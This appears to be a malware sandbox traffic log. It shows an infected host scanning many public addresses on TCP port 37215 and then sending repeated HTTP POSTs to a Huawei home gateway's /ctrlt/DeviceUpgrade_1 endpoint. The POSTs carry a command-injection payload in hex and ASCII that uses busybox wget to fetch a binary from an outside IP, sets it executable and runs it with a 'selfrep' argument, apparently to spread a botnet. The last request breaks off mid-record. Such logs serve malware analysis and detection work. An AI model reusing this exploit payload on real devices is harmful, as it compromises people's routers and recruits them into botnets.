Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.23.204.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.174.82.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 58.150.214.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.164.175.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.50.149.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.162.124.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 218.138.172.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.84.67.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.25.88.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.224.116.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 102.221.173.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.184.197.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.133.236.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.128.87.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 123.133.54.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.192.192.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.185.155.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 2.51.54.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.63.146.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.80.15.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 27.140.47.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.130.154.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.23.93.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.82.30.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.113.69.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.138.137.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.137.249.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.32.129.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.57.191.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.217.170.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 64.41.230.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.0.180.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 47.185.74.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.10.73.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.141.56.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.153.194.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.81.194.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.134.8.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 110.27.160.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.96.3.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 154.175.74.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.215.158.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.81.255.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.223.248.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.225.177.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.232.63.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.23.151.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.12.250.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 198.58.138.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.191.27.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.210.148.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 145.191.161.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.250.89.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.92.254.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.228.29.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.199.53.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 73.34.27.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.147.84.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.199.158.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.71.255.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.164.230.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 198.92.71.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.225.13.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.113.157.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.5.5.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.85.60.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.249.148.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 145.1.189.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.32.6.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.76.235.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.12.210.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 174.184.142.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.253.238.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.13.100.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.17.150.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.220.57.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 112.226.153.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.67.233.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.206.45.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 173.217.36.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.63.191.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 158.152.25.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.235.84.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.254.35.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.34.224.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 118.58.238.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.67.42.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.21.181.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.207.98.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.12.71.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.157.27.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.124.138.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.178.83.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.209.66.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.163.220.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.114.210.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.23.159.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.187.156.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.63.52.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.134.189.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.253.175.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.79.246.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.86.62.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.180.26.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 52.124.66.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 162.203.78.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 145.144.142.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.162.161.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.244.103.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.231.171.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.214.30.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.168.69.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.176.90.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.182.145.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.11.255.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.234.86.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 121.172.5.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.63.212.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.125.238.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 208.56.226.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.235.231.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.182.34.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 187.96.103.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 182.110.183.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 134.244.104.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.120.93.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.252.9.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.139.91.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 140.114.171.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.113.215.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.203.224.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.217.172.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.30.182.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.193.222.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 87.252.209.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.96.216.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.102.253.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.220.19.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 93.125.161.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.207.141.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 222.33.238.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.182.219.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.145.87.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 211.31.53.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.9.199.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 46.99.111.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.59.205.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.160.33.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.104.218.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 194.88.156.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.4.199.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.240.6.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 60.176.146.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.180.46.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 40.92.223.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.121.226.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 123.255.29.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.103.72.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.54.241.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.53.110.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.109.7.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.8.234.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.142.21.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.252.13.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 109.55.118.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.76.251.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 37.219.94.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.115.25.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.40.93.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.119.128.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.196.79.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.172.170.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.155.253.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.136.211.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 163.29.178.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.26.67.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.22.166.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.208.47.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.208.58.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.187.140.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.21.1.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.29.65.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.228.250.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.163.176.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 179.230.52.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.116.145.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.84.200.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.213.71.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.217.215.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.181.113.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.105.113.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.90.227.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.165.48.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.236.165.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.41.6.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.67.33.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 178.160.125.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.227.167.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.143.234.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.137.160.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.209.127.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.208.161.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.246.81.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.68.20.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.236.176.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.104.86.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.202.113.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.152.165.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 134.22.67.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.181.235.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 200.134.9.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.187.32.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.105.80.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.120.84.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.137.148.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 12.112.163.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.79.213.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.105.99.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.204.91.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.18.160.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.128.28.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.73.195.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.252.68.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.191.167.93:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 